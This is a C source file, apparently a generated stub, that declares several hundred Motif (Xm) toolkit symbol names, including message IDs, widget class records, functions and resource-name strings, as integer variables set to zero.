int _XmMsgDisplay_0001 = 0;
int _XmMsgDisplay_0002 = 0;
int _XmMsgDisplay_0003 = 0;
int _XmMsgDragBS_0000 = 0;
int _XmMsgDragBS_0001 = 0;
int _XmMsgDragBS_0002 = 0;
int _XmMsgDragBS_0003 = 0;
int _XmMsgDragBS_0004 = 0;
int _XmMsgDragBS_0005 = 0;
int _XmMsgDragBS_0006 = 0;
int _XmMsgDragC_0001 = 0;
int _XmMsgDragC_0002 = 0;
int _XmMsgDragC_0003 = 0;
int _XmMsgDragC_0004 = 0;
int _XmMsgDragC_0005 = 0;
int _XmMsgDragC_0006 = 0;
int _XmMsgDragICC_0000 = 0;
int _XmMsgDragICC_0001 = 0;
int _XmMsgDragIcon_0000 = 0;
int _XmMsgDragIcon_0001 = 0;
int _XmMsgDragOverS_0000 = 0;
int _XmMsgDragOverS_0001 = 0;
int _XmMsgDragOverS_0002 = 0;
int _XmMsgDragOverS_0003 = 0;
int _XmMsgDragUnder_0000 = 0;
int _XmMsgDragUnder_0001 = 0;
int _XmMsgDropSMgr_0001 = 0;
int _XmMsgDropSMgr_0002 = 0;
int _XmMsgDropSMgr_0003 = 0;
int _XmMsgDropSMgr_0004 = 0;
int _XmMsgDropSMgr_0005 = 0;
int _XmMsgDropSMgr_0006 = 0;
int _XmMsgDropSMgr_0007 = 0;
int _XmMsgDropSMgr_0008 = 0;
int _XmMsgDropSMgr_0009 = 0;
int _XmMsgDropSMgr_0010 = 0;
int _XmMsgDropSMgrI_0001 = 0;
int _XmMsgDropSMgrI_0002 = 0;
int _XmMsgDropSMgrI_0003 = 0;
int _XmMsgForm_0000 = 0;
int _XmMsgForm_0002 = 0;
int _XmMsgForm_0003 = 0;
int _XmMsgGadget_0000 = 0;
int _XmMsgLabel_0003 = 0;
int _XmMsgLabel_0004 = 0;
int _XmMsgList_0000 = 0;
int _XmMsgList_0005 = 0;
int _XmMsgList_0006 = 0;
int _XmMsgList_0007 = 0;
int _XmMsgList_0008 = 0;
int _XmMsgList_0009 = 0;
int _XmMsgList_0010 = 0;
int _XmMsgList_0011 = 0;
int _XmMsgList_0012 = 0;
int _XmMsgList_0013 = 0;
int _XmMsgList_0014 = 0;
int _XmMsgList_0015 = 0;
int _XmMsgMainW_0000 = 0;
int _XmMsgMainW_0001 = 0;
int _XmMsgManager_0000 = 0;
int _XmMsgManager_0001 = 0;
int _XmMsgMenuShell_0000 = 0;
int _XmMsgMenuShell_0001 = 0;
int _XmMsgMenuShell_0002 = 0;
int _XmMsgMenuShell_0003 = 0;
int _XmMsgMenuShell_0004 = 0;
int _XmMsgMenuShell_0005 = 0;
int _XmMsgMenuShell_0006 = 0;
int _XmMsgMenuShell_0007 = 0;
int _XmMsgMenuShell_0008 = 0;
int _XmMsgMenuShell_0009 = 0;
int _XmMsgMessageB_0003 = 0;
int _XmMsgMessageB_0004 = 0;
int _XmMsgMotif_0000 = 0;
int _XmMsgMotif_0001 = 0;
int _XmMsgNotebook_0000 = 0;
int _XmMsgPanedW_0000 = 0;
int _XmMsgPanedW_0001 = 0;
int _XmMsgPanedW_0002 = 0;
int _XmMsgPanedW_0004 = 0;
int _XmMsgPanedW_0005 = 0;
int _XmMsgPixConv_0000 = 0;
int _XmMsgPrimitive_0000 = 0;
int _XmMsgProtocols_0000 = 0;
int _XmMsgProtocols_0001 = 0;
int _XmMsgProtocols_0002 = 0;
int _XmMsgRegion_0000 = 0;
int _XmMsgRepType_0000 = 0;
int _XmMsgRepType_0001 = 0;
int _XmMsgRepType_0002 = 0;
int _XmMsgResConvert_0001 = 0;
int _XmMsgResConvert_0002 = 0;
int _XmMsgResConvert_0003 = 0;
int _XmMsgResConvert_0005 = 0;
int _XmMsgResConvert_0006 = 0;
int _XmMsgResConvert_0007 = 0;
int _XmMsgResConvert_0008 = 0;
int _XmMsgResConvert_0009 = 0;
int _XmMsgResConvert_0010 = 0;
int _XmMsgResConvert_0011 = 0;
int _XmMsgResConvert_0012 = 0;
int _XmMsgResConvert_0013 = 0;
int _XmMsgResource_0001 = 0;
int _XmMsgResource_0002 = 0;
int _XmMsgResource_0003 = 0;
int _XmMsgResource_0004 = 0;
int _XmMsgResource_0005 = 0;
int _XmMsgResource_0006 = 0;
int _XmMsgResource_0007 = 0;
int _XmMsgResource_0008 = 0;
int _XmMsgResource_0009 = 0;
int _XmMsgResource_0010 = 0;
int _XmMsgResource_0011 = 0;
int _XmMsgResource_0012 = 0;
int _XmMsgResource_0013 = 0;
int _XmMsgRowColText_0024 = 0;
int _XmMsgRowColumn_0000 = 0;
int _XmMsgRowColumn_0001 = 0;
int _XmMsgRowColumn_0002 = 0;
int _XmMsgRowColumn_0003 = 0;
int _XmMsgRowColumn_0004 = 0;
int _XmMsgRowColumn_0005 = 0;
int _XmMsgRowColumn_0007 = 0;
int _XmMsgRowColumn_0008 = 0;
int _XmMsgRowColumn_0015 = 0;
int _XmMsgRowColumn_0016 = 0;
int _XmMsgRowColumn_0017 = 0;
int _XmMsgRowColumn_0018 = 0;
int _XmMsgRowColumn_0019 = 0;
int _XmMsgRowColumn_0020 = 0;
int _XmMsgRowColumn_0022 = 0;
int _XmMsgRowColumn_0023 = 0;
int _XmMsgRowColumn_0025 = 0;
int _XmMsgRowColumn_0026 = 0;
int _XmMsgRowColumn_0027 = 0;
int _XmMsgScale_0000 = 0;
int _XmMsgScale_0001 = 0;
int _XmMsgScale_0002 = 0;
int _XmMsgScale_0006 = 0;
int _XmMsgScale_0007 = 0;
int _XmMsgScale_0008 = 0;
int _XmMsgScale_0009 = 0;
int _XmMsgScaleScrBar_0004 = 0;
int _XmMsgScreen_0000 = 0;
int _XmMsgScreen_0001 = 0;
int _XmMsgScrollBar_0000 = 0;
int _XmMsgScrollBar_0001 = 0;
int _XmMsgScrollBar_0002 = 0;
int _XmMsgScrollBar_0003 = 0;
int _XmMsgScrollBar_0004 = 0;
int _XmMsgScrollBar_0005 = 0;
int _XmMsgScrollBar_0006 = 0;
int _XmMsgScrollBar_0007 = 0;
int _XmMsgScrollBar_0008 = 0;
int _XmMsgScrolledW_0004 = 0;
int _XmMsgScrolledW_0005 = 0;
int _XmMsgScrolledW_0006 = 0;
int _XmMsgScrolledW_0007 = 0;
int _XmMsgScrolledW_0008 = 0;
int _XmMsgScrolledW_0009 = 0;
int _XmMsgScrollFrameT_0000 = 0;
int _XmMsgScrollFrameT_0001 = 0;
int _XmMsgScrollVis_0000 = 0;
int _XmMsgSelectioB_0001 = 0;
int _XmMsgSelectioB_0002 = 0;
int _XmMsgSpinB_0003 = 0;
int _XmMsgSpinB_0004 = 0;
int _XmMsgSpinB_0005 = 0;
int _XmMsgSpinB_0006 = 0;
int _XmMsgSpinB_0007 = 0;
int _XmMsgSpinB_0008 = 0;
int _XmMsgSSpinB_0001 = 0;
int _XmMsgSSpinB_0002 = 0;
int _XmMsgSSpinB_0003 = 0;
int _XmMsgText_0000 = 0;
int _XmMsgTextF_0000 = 0;
int _XmMsgTextF_0001 = 0;
int _XmMsgTextF_0002 = 0;
int _XmMsgTextF_0003 = 0;
int _XmMsgTextF_0004 = 0;
int _XmMsgTextF_0006 = 0;
int _XmMsgTextFWcs_0000 = 0;
int _XmMsgTextIn_0000 = 0;
int _XmMsgTextOut_0000 = 0;
int _XmMsgTransfer_0000 = 0;
int _XmMsgTransfer_0002 = 0;
int _XmMsgTransfer_0003 = 0;
int _XmMsgTransfer_0004 = 0;
int _XmMsgTransfer_0005 = 0;
int _XmMsgTransfer_0006 = 0;
int _XmMsgTransfer_0007 = 0;
int _XmMsgVaSimple_0000 = 0;
int _XmMsgVaSimple_0001 = 0;
int _XmMsgVaSimple_0002 = 0;
int _XmMsgVendor_0000 = 0;
int _XmMsgVendor_0001 = 0;
int _XmMsgVendor_0002 = 0;
int _XmMsgVendor_0003 = 0;
int _XmMsgVisual_0000 = 0;
int _XmMsgVisual_0001 = 0;
int _XmMsgVisual_0002 = 0;
int _XmMsgXmIm_0000 = 0;
int _XmMsgXmRenderT_0000 = 0;
int _XmMsgXmRenderT_0001 = 0;
int _XmMsgXmRenderT_0002 = 0;
int _XmMsgXmRenderT_0003 = 0;
int _XmMsgXmRenderT_0004 = 0;
int _XmMsgXmRenderT_0005 = 0;
int _XmMsgXmString_0000 = 0;
int _XmMsgXmTabList_0000 = 0;
int xmMultiListClassRec = 0;
int XmMultiListDeselectItems = 0;
int XmMultiListDeselectRow = 0;
int XmMultiListGetSelectedRowArray = 0;
int XmMultiListGetSelectedRows = 0;
int XmMultiListMakeRowVisible = 0;
int XmMultiListSelectAllItems = 0;
int XmMultiListSelectItems = 0;
int XmMultiListSelectRow = 0;
int XmMultiListToggleRow = 0;
int XmMultiListUnselectAllItems = 0;
int XmMultiListUnselectItem = 0;
int xmMultiListWidgetClass = 0;
int _XmNavigate = 0;
int _XmNavigChangeManaged = 0;
int _XmNavigDestroy = 0;
int _XmNavigInitialize = 0;
int _XmNavigResize = 0;
int _XmNavigSetValues = 0;
int _XmNewTravGraph = 0;
int _XmNoneCursorIconQuark = 0;
int xmNotebookClassRec = 0;
int XmNotebookGetPageInfo = 0;
int _XmNotebook_manager_translations = 0;
int _XmNotebook_TabAccelerators = 0;
int xmNotebookWidgetClass = 0;
int _XmNotifyChildrenVisual = 0;
int _XmNumDSResources = 0;
int XmObjectAtPoint = 0;
int _XmOffsetArrow = 0;
int XmOptionButtonGadget = 0;
int XmOptionLabelGadget = 0;
int _XmOSAbsolutePathName = 0;
int _XmOSBuildFileList = 0;
int _XmOSBuildFileName = 0;
int _XmOSFileCompare = 0;
int _XmOSFindPathParts = 0;
int _XmOSFindPatternPart = 0;
int _XmOSGenerateMaskName = 0;
int _XmOSGetCharDirection = 0;
int _XmOSGetDirEntries = 0;
int _XmOSGetHomeDirName = 0;
int _XmOSGetInitialCharsDirection = 0;
int _XmOSGetLocalizedString = 0;
int XmOSGetMethod = 0;
int _XmOSInitPath = 0;
int _XmOSKeySymToCharacter = 0;
int _XmOSPutenv = 0;
int _XmOSQualifyFileSpec = 0;
int xmOutlineClassRec = 0;
int xmOutlineWidgetClass = 0;
int XMoveResizeWindow = 0;
int XMoveWindow = 0;
int xmPanedClassRec = 0;
int XmPanedGetPanes = 0;
int xmPanedWidgetClass = 0;
int xmPanedWindowClassRec = 0;
int xmPanedWindowWidgetClass = 0;
int _XmParentProcess = 0;
int XmParseMappingCreate = 0;
int XmParseMappingFree = 0;
int XmParseMappingGetValues = 0;
int XmParseMappingSetValues = 0;
int XmParsePicture = 0;
int XmParseTableFree = 0;
int _XmPathIsTraversable = 0;
int XmPictureDelete = 0;
int XmPictureDeleteState = 0;
int XmPictureDoAutoFill = 0;
int XmPictureGetCurrentString = 0;
int XmPictureProcessCharacter = 0;
int _XmPngGetImage = 0;
int _XmPopdown = 0;
int _XmPopup = 0;
int _XmPopupSpringLoaded = 0;
int _XmPopWidgetExtData = 0;
int _XmPostPopupMenu = 0;
int _XmPrimbaseClassExtRec = 0;
int _XmPrimClassExtRec = 0;
int xmPrimitiveClassRec = 0;
int _XmPrimitive_defaultTranslations = 0;
int _XmPrimitiveEnter = 0;
int _XmPrimitiveFocusIn = 0;
int _XmPrimitiveFocusInInternal = 0;
int _XmPrimitiveFocusOut = 0;
int _XmPrimitiveGetValuesHook = 0;
int _XmPrimitiveHelp = 0;
int _XmPrimitiveHighlightPixmapDefault = 0;
int _XmPrimitiveImportArgs = 0;
int _XmPrimitiveLeave = 0;
int _XmPrimitiveParentActivate = 0;
int _XmPrimitiveParentCancel = 0;
int _XmPrimitiveTopShadowPixmapDefault = 0;
int _XmPrimitiveUnmap = 0;
int xmPrimitiveWidgetClass = 0;
int _XmProcessDrag = 0;
int _XmProcessTraversal = 0;
int XmProcessTraversal = 0;
int xmProtocolClassRec = 0;
int xmProtocolObjectClass = 0;
int _XmPushB_defaultTranslations = 0;
int _XmPushBGadClassExtRec = 0;
int _XmPushB_menuTranslations = 0;
int _XmPushBPrimClassExtRec = 0;
int xmPushButtonClassRec = 0;
int xmPushButtonGadgetClass = 0;
int xmPushButtonGadgetClassRec = 0;
int xmPushButtonGCacheObjClassRec = 0;
int xmPushButtonWidgetClass = 0;
int _XmPushWidgetExtData = 0;
int _XmPutScaledImage = 0;
int XmQmotif = 0;
int XmQTaccessColors = 0;
int XmQTaccessTextual = 0;
int XmQTactivatable = 0;
int XmQTcareParentVisual = 0;
int _XmQTclipWindow = 0;
int XmQTcontainer = 0;
int XmQTcontainerItem = 0;
int XmQTdialogShellSavvy = 0;
int XmQTjoinSide = 0;
int XmQTmenuSavvy = 0;
int XmQTmenuSystem = 0;
int XmQTmotifTrait = 0;
int XmQTnavigator = 0;
int XmQTpointIn = 0;
int XmQTscrollFrame = 0;
int XmQTspecifyLayoutDirection = 0;
int XmQTspecifyRenderTable = 0;
int XmQTspecifyUnhighlight = 0;
int XmQTspecifyUnitType = 0;
int XmQTtakesDefault = 0;
int XmQTtoolTip = 0;
int XmQTtoolTipConfig = 0;
int XmQTtransfer = 0;
int XmQTtraversalControl = 0;
int _XmQualifyLabelLocalCache = 0;
int _XmQueryPixmapCache = 0;
int _XmQueueCount = 0;
int _XmQueueFree = 0;
int _XmQueueInit = 0;
int _XmQueuePop = 0;
int _XmRCAdaptToSize = 0;
int _XmRC_AddPopupEventHandlers = 0;
int _XmRC_AddToPostFromList = 0;
int _XmRCArmAndActivate = 0;
int _XmRC_CheckAndSetOptionCascade = 0;
int _XmRCColorHook = 0;
int _XmRCDoMarginAdjustment = 0;
int _XmRC_DoProcessMenuTree = 0;
int _XmRC_GadgetTraverseDown = 0;
int _XmRC_GadgetTraverseLeft = 0;
int _XmRC_GadgetTraverseRight = 0;
int _XmRC_GadgetTraverseUp = 0;
int _XmRCGetKidGeo = 0;
int _XmRC_GetLabelString = 0;
int _XmRC_GetMenuAccelerator = 0;
int _XmRC_GetMnemonicCharSet = 0;
int _XmRCGetTopManager = 0;
int _XmRC_KeyboardInputHandler = 0;
int _XmRCMenuProcedureEntry = 0;
int _XmRC_menuSystemRecord = 0;
int _XmRC_PostTimeOut = 0;
int _XmRCPreferredSize = 0;
int _XmRC_ProcessSingleWidget = 0;
int _XmRC_RemoveFromPostFromList = 0;
int _XmRC_RemoveFromPostFromListOnDestroyCB = 0;
int _XmRC_RemoveHandlersFromPostFromWidget = 0;
int _XmRC_RemovePopupEventHandlers = 0;
int _XmRCSetKidGeo = 0;
int _XmRC_SetMenuHistory = 0;
int _XmRC_SetOptionMenuHistory = 0;
int _XmRC_SetOrGetTextMargins = 0;
int _XmRCThinkAboutSize = 0;
int _XmRC_UpdateOptionMenuCBG = 0;
int _XmReadDragBuffer = 0;
int _XmReadDSFromStream = 0;
int _XmReadImageAndHotSpotFromFile = 0;
int _XmReadInitiatorInfo = 0;
int _XmReasonToMessageType = 0;
int _XmReCacheLabG = 0;
int _XmReCacheLabG_r = 0;
int _XmRecordEvent = 0;
int _XmRedisplayGadgets = 0;
int _XmRedisplayHBar = 0;
int _XmRedisplayLabG = 0;
int _XmRedisplayVBar = 0;
int _XmRegionClear = 0;
int _XmRegionComputeExtents = 0;
int _XmRegionCreate = 0;
int _XmRegionCreateSize = 0;
int _XmRegionDestroy = 0;
int _XmRegionDrawShadow = 0;
int _XmRegionEqual = 0;
int _XmRegionFromImage = 0;
int _XmRegionGetExtents = 0;
int _XmRegionGetNumRectangles = 0;
int _XmRegionGetRectangles = 0;
int _XmRegionIntersect = 0;
int _XmRegionIntersectRectWithRegion = 0;
int _XmRegionIsEmpty = 0;
int _XmRegionOffset = 0;
int _XmRegionPointInRegion = 0;
int _XmRegionSetGCRegion = 0;
int _XmRegionShrink = 0;
int _XmRegionSubtract = 0;
int _XmRegionUnion = 0;
int _XmRegionUnionRectWithRegion = 0;
int _XmRegisterConverters = 0;
int XmRegisterConverters = 0;
int _XmRegisterPixmapConverters = 0;
int XmRegisterSegmentEncoding = 0;
int _XmRemoveAllCallbacks = 0;
int _XmRemoveCallback = 0;
int XmRemoveFromPostFromList = 0;
int _XmRemoveGrab = 0;
int _XmRemoveHashEntry = 0;
int _XmRemoveHashIterator = 0;
int XmRemoveProtocolCallback = 0;
int XmRemoveProtocols = 0;
int XmRemoveTabGroup = 0;
int _Xm_RemQueue = 0;
int _XmRenderCacheGet = 0;
int _XmRenderCacheSet = 0;
int XmRenderTableAddRenditions = 0;
int XmRenderTableCopy = 0;
int XmRenderTableCvtFromProp = 0;
int XmRenderTableCvtToProp = 0;
int _XmRenderTableDisplay = 0;
int _XmRenderTableFindFallback = 0;
int _XmRenderTableFindFirstFont = 0;
int _XmRenderTableFindRendition = 0;
int XmRenderTableFree = 0;
int XmRenderTableGetDefaultFontExtents = 0;
int XmRenderTableGetRendition = 0;
int XmRenderTableGetRenditions = 0;
int XmRenderTableGetTags = 0;
int _XmRenderTableRemoveRenditions = 0;
int XmRenderTableRemoveRenditions = 0;
int _XmRenditionCopy = 0;
int _XmRenditionCreate = 0;
int XmRenditionCreate = 0;
int XmRenditionFree = 0;
int _XmRenditionMerge = 0;
int XmRenditionRetrieve = 0;
int XmRenditionUpdate = 0;
int _XmReOrderResourceList = 0;
int XmRepTypeAddReverse = 0;
int XmRepTypeGetId = 0;
int XmRepTypeGetNameList = 0;
int XmRepTypeGetRecord = 0;
int XmRepTypeGetRegistered = 0;
int _XmRepTypeInstallConverters = 0;
int XmRepTypeInstallTearOffModelConverter = 0;
int XmRepTypeRegister = 0;
int XmRepTypeValidValue = 0;
int _XmRequestNewSize = 0;
int _XmResetTravGraph = 0;
int _XmResizeHashTable = 0;
int _XmResizeObject = 0;
int _XmResizeWidget = 0;
int XmResolveAllPartOffsets = 0;
int XmResolveAllPartOffsets64 = 0;
int XmResolvePartOffsets = 0;
int _XmRestoreCoreClassTranslations = 0;
int _XmRestoreExcludedTearOffToToplevelShell = 0;
int _XmRestoreTearOffToMenuShell = 0;
int _XmRestoreTearOffToToplevelShell = 0;
int _XmRootGeometryManager = 0;
int _XmRowColumn_bar_table = 0;
int xmRowColumnClassRec = 0;
int _XmRowColumn_menu_table = 0;
int _XmRowColumn_menu_traversal_table = 0;
int _XmRowColumn_option_table = 0;
int xmRowColumnWidgetClass = 0;
int _XmSaccelerator = 0;
int _XmSacceleratorText = 0;
int _XmSactivateCallback = 0;
int _XmSadjustLast = 0;
int _XmSadjustMargin = 0;
int _XmSalignment = 0;
int _XmSallowOverlap = 0;
int _XmSallowResize = 0;
int _XmSanimationMask = 0;
int _XmSanimationPixmap = 0;
int _XmSanimationPixmapDepth = 0;
int _XmSanimationStyle = 0;
int _XmSapplyCallback = 0;
int _XmSapplyLabelString = 0;
int _XmSarmCallback = 0;
int _XmSarmColor = 0;
int _XmSarmPixmap = 0;
int _XmSarrowDirection = 0;
int xmSashClassRec = 0;
int _XmSash_defTranslations = 0;
int xmSashWidgetClass = 0;
int _XmSattachment = 0;
int _XmSaudibleWarning = 0;
int _XmSautomaticSelection = 0;
int _XmSautoShowCursorPosition = 0;
int _XmSautoUnmanage = 0;
int _XmSavailability = 0;
int _XmSaveCoreClassTranslations = 0;
int _XmSaveMenuProcContext = 0;
int _XmSblendModel = 0;
int _XmSblinkRate = 0;
int _XmSbottomAttachment = 0;
int _XmSbottomOffset = 0;
int _XmSbottomPosition = 0;
int _XmSbottomShadowColor = 0;
int _XmSbottomShadowPixmap = 0;
int _XmSbottomWidget = 0;
int _XmSbrowseSelectionCallback = 0;
int _XmSbuttonAccelerators = 0;
int _XmSbuttonAcceleratorText = 0;
int _XmSbuttonCount = 0;
int _XmSbuttonFontList = 0;
int _XmSbuttonMnemonicCharSets = 0;
int _XmSbuttonMnemonics = 0;
int _XmSbuttons = 0;
int _XmSbuttonSet = 0;
int _XmSbuttonType = 0;
int _XmSCAccelerator = 0;
int _XmSCAcceleratorText = 0;
int _XmSCAdjustLast = 0;
int _XmSCAdjustMargin = 0;
int xmScaleClassRec = 0;
int _XmScaleGetTitleString = 0;
int XmScaleGetValue = 0;
int XmScaleSetTicks = 0;
int XmScaleSetValue = 0;
int xmScaleWidgetClass = 0;
int _XmSCAlignment = 0;
int _XmSCAllowOverlap = 0;
int _XmScancelButton = 0;
int _XmScancelCallback = 0;
int _XmScancelLabelString = 0;
int _XmSCAnimationMask = 0;
int _XmSCAnimationPixmap = 0;
int _XmSCAnimationPixmapDepth = 0;
int _XmSCAnimationStyle = 0;
int _XmScanningCacheGet = 0;
int _XmScanningCacheSet = 0;
int _XmSCApplyLabelString = 0;
int _XmSCArmCallback = 0;
int _XmSCArmColor = 0;
int _XmSCArmPixmap = 0;
int _XmSCArrowDirection = 0;
int _XmScascadeButton = 0;
int _XmScascadePixmap = 0;
int _XmScascadingCallback = 0;
int _XmSCAtomList = 0;
int _XmSCAttachment = 0;
int _XmSCAudibleWarning = 0;
int _XmSCAutomaticSelection = 0;
int _XmSCAutoShowCursorPosition = 0;
int _XmSCAutoUnmanage = 0;
int _XmSCAvailability = 0;
int _XmSCBackgroundPixmap = 0;
int _XmSCBlendModel = 0;
int _XmSCBlinkRate = 0;
int _XmSCBooleanDimension = 0;
int _XmSCBottomShadowColor = 0;
int _XmSCBottomShadowPixmap = 0;
int _XmSCButtonAccelerators = 0;
int _XmSCButtonAcceleratorText = 0;
int _XmSCButtonCount = 0;
int _XmSCButtonFontList = 0;
int _XmSCButtonMnemonicCharSets = 0;
int _XmSCButtonMnemonics = 0;
int _XmSCButtons = 0;
int _XmSCButtonSet = 0;
int _XmSCButtonType = 0;
int _XmSCCallbackProc = 0;
int _XmSCCancelLabelString = 0;
int _XmSCChar = 0;
int _XmSCCharSetTable = 0;
int _XmSCChildHorizontalAlignment = 0;
int _XmSCChildHorizontalSpacing = 0;
int _XmSCChildPlacement = 0;
int _XmSCChildren = 0;
int _XmSCChildType = 0;
int _XmSCChildVerticalAlignment = 0;
int _XmSCClientData = 0;
int _XmSCClipWindow = 0;
int _XmSCColumns = 0;
int _XmSCCommandWindow = 0;
int _XmSCCommandWindowLocation = 0;
int _XmSCCompoundText = 0;
int _XmSCConvertProc = 0;
int _XmSCCursorBackground = 0;
int _XmSCCursorForeground = 0;
int _XmSCCursorPosition = 0;
int _XmSCCursorPositionVisible = 0;
int _XmSCDarkThreshold = 0;
int _XmSCDecimalPoints = 0;
int _XmSCDefaultButtonShadowThickness = 0;
int _XmSCDefaultButtonType = 0;
int _XmSCDefaultCopyCursorIcon = 0;
int _XmSCDefaultFontList = 0;
int _XmSCDefaultInvalidCursorIcon = 0;
int _XmSCDefaultLinkCursorIcon = 0;
int _XmSCDefaultMoveCursorIcon = 0;
int _XmSCDefaultNoneCursorIcon = 0;
int _XmSCDefaultPosition = 0;
int _XmSCDefaultSourceCursorIcon = 0;
int _XmSCDefaultValidCursorIcon = 0;
int _XmSCDeleteResponse = 0;
int _XmSCDesktopParent = 0;
int _XmSCDialogStyle = 0;
int _XmSCDialogTitle = 0;
int _XmSCDialogType = 0;
int _XmSCDirectory = 0;
int _XmSCDirectoryValid = 0;
int _XmSCDirListItemCount = 0;
int _XmSCDirListItems = 0;
int _XmSCDirListLabelString = 0;
int _XmSCDirMask = 0;
int _XmSCDirSearchProc = 0;
int _XmSCDirSpec = 0;
int _XmSCDisarmCallback = 0;
int _XmSCDoubleClickInterval = 0;
int _XmSCDragContextClass = 0;
int _XmSCDragDropFinishCallback = 0;
int _XmSCDragIconClass = 0;
int _XmSCDragInitiatorProtocolStyle = 0;
int _XmSCDragMotionCallback = 0;
int _XmSCDragOperations = 0;
int _XmSCDragOverMode = 0;
int _XmSCDragProc = 0;
int _XmSCDragReceiverProtocolStyle = 0;
int _XmSCDropProc = 0;
int _XmSCDropRectangles = 0;
int _XmSCDropSiteActivity = 0;
int _XmSCDropSiteEnterCallback = 0;
int _XmSCDropSiteLeaveCallback = 0;
int _XmSCDropSiteManagerClass = 0;
int _XmSCDropSiteOperations = 0;
int _XmSCDropSiteType = 0;
int _XmSCDropStartCallback = 0;
int _XmSCDropTransferClass = 0;
int _XmSCDropTransfers = 0;
int _XmSCEditable = 0;
int _XmSCEntryBorder = 0;
int _XmSCEntryClass = 0;
int _XmSCExportTargets = 0;
int _XmSCExposeCallback = 0;
int _XmSCExtensionType = 0;
int _XmSCFileListItemCount = 0;
int _XmSCFileListItems = 0;
int _XmSCFileListLabelString = 0;
int _XmSCFileSearchProc = 0;
int _XmSCFileTypeMask = 0;
int _XmSCFillOnArm = 0;
int _XmSCFillOnSelect = 0;
int _XmSCFilterLabelString = 0;
int _XmSCFontList = 0;
int _XmSCFONTLIST_DEFAULT_TAG_STRING = 0;
int _XmSCForegroundThreshold = 0;
int _XmSCGadgetPixmap = 0;
int _XmScheckButton = 0;
int _XmSCHelpLabelString = 0;
int _XmSCHighlightColor = 0;
int _XmSCHighlightOnEnter = 0;
int _XmSCHighlightPixmap = 0;
int _XmSCHighlightThickness = 0;
int _XmSchildHorizontalAlignment = 0;
int _XmSchildHorizontalSpacing = 0;
int _XmSchildPlacement = 0;
int _XmSchildPosition = 0;
int _XmSchildType = 0;
int _XmSchildVerticalAlignment = 0;
int _XmSCHorizontalDimension = 0;
int _XmSCHorizontalFontUnit = 0;
int _XmSCHorizontalInt = 0;
int _XmSCHorizontalPosition = 0;
int _XmSCHorizontalScrollBar = 0;
int _XmSCHot = 0;
int _XmSCICCHandle = 0;
int _XmSCIconAttachment = 0;
int _XmSCImportTargets = 0;
int _XmSCIncrement = 0;
int _XmSCIncremental = 0;
int _XmSCIndicatorOn = 0;
int _XmSCIndicatorSize = 0;
int _XmSCIndicatorType = 0;
int _XmSCInitialDelay = 0;
int _XmSCInitialFocus = 0;
int _XmSCInputCreate = 0;
int _XmSCInputMethod = 0;
int _XmSCInvalidCursorForeground = 0;
int _XmSCIsAligned = 0;
int _XmSCIsHomogeneous = 0;
int _XmSCISO8859_DASH_1 = 0;
int _XmSCItemCount = 0;
int _XmSCItems = 0;
int _XmSCKeyboardFocusPolicy = 0;
int _XmSCKeySym = 0;
int _XmSCKeySymTable = 0;
int _XmSCLabelFontList = 0;
int _XmSCLabelInsensitivePixmap = 0;
int _XmSCLabelPixmap = 0;
int _XmSCLabelString = 0;
int _XmSCLabelType = 0;
int _XmSclientData = 0;
int _XmSCLightThreshold = 0;
int _XmSclipWindow = 0;
int _XmSCListLabelString = 0;
int _XmSCListMarginHeight = 0;
int _XmSCListMarginWidth = 0;
int _XmSCListSizePolicy = 0;
int _XmSCListSpacing = 0;
int _XmSCListUpdated = 0;
int _XmSCLogicalParent = 0;
int _XmSCMainWindowMarginHeight = 0;
int _XmSCMainWindowMarginWidth = 0;
int _XmSCManBottomShadowPixmap = 0;
int _XmSCManForegroundPixmap = 0;
int _XmSCManHighlightPixmap = 0;
int _XmSCManTopShadowPixmap = 0;
int _XmSCMappingDelay = 0;
int _XmSCMarginBottom = 0;
int _XmSCMarginHeight = 0;
int _XmSCMarginLeft = 0;
int _XmSCMarginRight = 0;
int _XmSCMarginTop = 0;
int _XmSCMarginWidth = 0;
int _XmSCMask = 0;
int _XmSCMaximum = 0;
int _XmSCMaxItems = 0;
int _XmSCMaxLength = 0;
int _XmSCMaxValue = 0;
int _XmSCMenuBar = 0;
int _XmSCMenuPost = 0;
int _XmSCMenuWidget = 0;
int _XmSCMessageProc = 0;
int _XmSCMessageWindow = 0;
int _XmSCMinimizeButtons = 0;
int _XmSCMinimum = 0;
int _XmSCMnemonic = 0;
int _XmSCMnemonicCharSet = 0;
int _XmSCMoveOpaque = 0;
int _XmSCMultiClick = 0;
int _XmSCMustMatch = 0;
int _XmSCMwmDecorations = 0;
int _XmSCMwmFunctions = 0;
int _XmSCMwmInputMode = 0;
int _XmSCMwmMenu = 0;
int _XmSCMwmMessages = 0;
int _XmSCNavigationType = 0;
int _XmSCNeedsMotion = 0;
int _XmSCNoMatchString = 0;
int _XmSCNoneCursorForeground = 0;
int _XmSCNoResize = 0;
int _XmSCNotifyProc = 0;
int _XmSCNumChildren = 0;
int _XmSCNumColumns = 0;
int _XmSCNumDropRectangles = 0;
int _XmSCNumDropTransfers = 0;
int _XmSCNumExportTargets = 0;
int _XmSCNumImportTargets = 0;
int _XmSCOffset = 0;
int _XmSCOkLabelString = 0;
int _XmScolumns = 0;
int _XmScommand = 0;
int _XmScommandChangedCallback = 0;
int _XmScommandEnteredCallback = 0;
int _XmScommandWindow = 0;
int _XmScommandWindowLocation = 0;
int _XmSconvertProc = 0;
int _XmSCOperationChangedCallback = 0;
int _XmSCOperationCursorIcon = 0;
int _XmSCOptionLabel = 0;
int _XmSCOptionMnemonic = 0;
int _XmSCOutputCreate = 0;
int _XmSCPacking = 0;
int _XmSCPageIncrement = 0;
int _XmSCPaneMaximum = 0;
int _XmSCPaneMinimum = 0;
int _XmSCPattern = 0;
int _XmSCPendingDelete = 0;
int _XmSCPopupEnabled = 0;
int _XmSCPositionIndex = 0;
int _XmSCPostFromButton = 0;
int _XmSCPostFromCount = 0;
int _XmSCPostFromList = 0;
int _XmSCPreeditType = 0;
int _XmSCPrimForegroundPixmap = 0;
int _XmSCProc = 0;
int _XmSCProcessingDirection = 0;
int _XmSCPromptString = 0;
int _XmSCProtocolCallback = 0;
int _XmSCPushButtonEnabled = 0;
int _XmSCQualifySearchDataProc = 0;
int _XmSCRadioAlwaysOne = 0;
int _XmSCRadioBehavior = 0;
int _XmSCRecomputeSize = 0;
int _XmSCRectangleList = 0;
int _XmSCRectangles = 0;
int xmScreenClass = 0;
int xmScreenClassRec = 0;
int _XmScreenGetOperationIcon = 0;
int _XmScreenGetSourceIcon = 0;
int _XmScreenGetStateIcon = 0;
int xmScreenObjectClass = 0;
int _XmScreenRemoveFromCursorCache = 0;
int _XmSCRepeatDelay = 0;
int _XmSCResizeCallback = 0;
